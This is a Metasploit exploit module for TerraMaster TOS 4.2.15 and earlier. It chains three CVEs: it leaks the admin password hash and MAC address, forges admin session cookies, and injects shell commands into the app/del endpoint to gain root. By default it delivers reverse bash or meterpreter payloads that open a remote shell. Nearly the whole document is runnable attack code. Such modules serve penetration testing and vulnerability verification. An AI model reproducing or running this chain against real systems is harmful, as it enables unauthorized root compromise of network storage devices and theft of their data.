TerraMaster TOS 4.2.15 Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'digest/md5'  
require 'time'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.',  
'Description' => %q{  
Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows  
an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected.  
CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other  
information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint.  
This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker  
can self-sign session cookies by knowing the target MAC address and the user password hash.  
Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker  
to login as guest.  
Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted  
input to vulnerable endpoint `/tos/index.php?app/del`.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'n0tme' # Discovery and POC  
],  
'References' => [  
['CVE', '2021-45837'],  
['CVE', '2021-45839'],  
['CVE', '2021-45841'],  
['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'],  
['PACKETSTORM', '165399'],  
['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837']  
],  
'DisclosureDate' => '2021-12-24',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['bourne', 'wget', 'curl'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 8181,  
'SSL' => false  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/'])  
])  
end  
  
def get_data  
# Initialise instance variable data to store the leaked data  
@data = {}  
  
# Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`.  
# CVE-2021-458439  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'),  
'headers' => {  
'User-Agent' => 'TNAS',  
'User-Device' => 'TNAS'  
}  
})  
  
if res && res.code == 200 && res.body.include?('webNasIPS successful')  
# Parse the JSON response and get the data such as admin password hash and MAC address  
res_json = res.get_json_document  
unless res_json.blank?  
@data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip  
@data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip  
@data['key'] = @data['mac'][6..11] # last three MAC address entries  
@data['timestamp'] = Time.new.to_i.to_s  
# derive signature  
@data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp'])  
end  
end  
end  
  
def tos_encrypt_str(key, str_to_encrypt)  
id = key + str_to_encrypt  
return Digest::MD5.hexdigest(id.encode('utf-8'))  
end  
  
def get_headers  
{  
'User-Agent' => 'TNAS',  
'User-Device' => 'TNAS',  
'Authorization' => @data['password'],  
'Signature' => @data['signature'],  
'Timestamp' => @data['timestamp']  
}  
end  
  
def download_admin_users  
# Initialise instance variable admin_users to store the admin users from /etc/group  
@admin_users = []  
  
# Download /etc/group information to find all the admin users belonging to the group admin.  
# Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication.  
# CVE-2021-45841  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'),  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}",  
'headers' => get_headers,  
'vars_post' => {  
'path' => '/etc/group'  
}  
})  
# get the admin users from /etc/group  
if res && res.code == 200 && res.body.include?('admin')  
res.body.each_line do |line|  
next if line.empty?  
  
field = line.split(':')  
next unless field[0] == 'admin'  
  
@admin_users = field[3].strip.split(',')  
break  
end  
end  
end  
  
def get_session  
# Use session crafting to iterate thru the list of admin users to gain a session.  
# We will send two request per admin user. First request is a dummy request to obtain the session-id.  
# This session-id will be used to send the second request that will execute the echo command with marker.  
# if the response contains the marker, then the session has been successfully established.  
# CVE-2021-45837  
session = false  
marker = Rex::Text.rand_text_alphanumeric(8..16)  
for admin in @admin_users  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true,  
'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}",  
'headers' => get_headers  
})  
if res && res.code == 302 && !res.body.include?(marker.to_s)  
# Send second request to establish a session and break from the loop if true.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true,  
'headers' => get_headers  
})  
end  
next unless res && res.code == 200 && res.body.include?(marker.to_s)  
  
session = true  
break  
end  
session  
end  
  
def get_terramaster_info  
# get Terramaster CPU architecture (X64 or ARM64) and TOS version  
@terramaster = {}  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login')  
})  
  
if res && res.body && res.code == 200  
# get the version information from the request response like below:  
# <link href="./static/style/bootstrap.css?ver=TOS3_A1.0_4.2.07" rel="stylesheet"/>  
return if res.body.match(/ver=.+?"/).nil?  
  
version = res.body.match(/ver=.+?"/)[0]  
# check if architecture is ARM64 or X64  
if version.match(/_A/)  
@terramaster['cpu_arch'] = 'ARM64'  
elsif version.match(/_S/) || version.match(/_Q/)  
@terramaster['cpu_arch'] = 'X64'  
else  
@terramaster['cpu_arch'] = 'UNKNOWN'  
end  
  
# strip TOS version number and remove trailing double quote.  
@terramaster['tos_version'] = version.split('.0_')[1].chop  
end  
end  
  
def execute_command(cmd, _opts = {})  
# Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;<PAYLOAD>;%23`  
# CVE-2021-45837  
payload = CGI.escape(cmd)  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"),  
'ctype' => 'application/x-www-form-urlencoded',  
'keep_cookies' => true,  
'headers' => get_headers  
})  
end  
  
def check  
get_terramaster_info  
return CheckCode::Safe if @terramaster.empty?  
  
if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15')  
return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")  
end  
  
CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.")  
end  
  
def exploit  
# get the leaked data  
get_data  
fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty?  
  
download_admin_users  
fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty?  
  
fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager(linemax: 65536)  
end  
end  
end  
`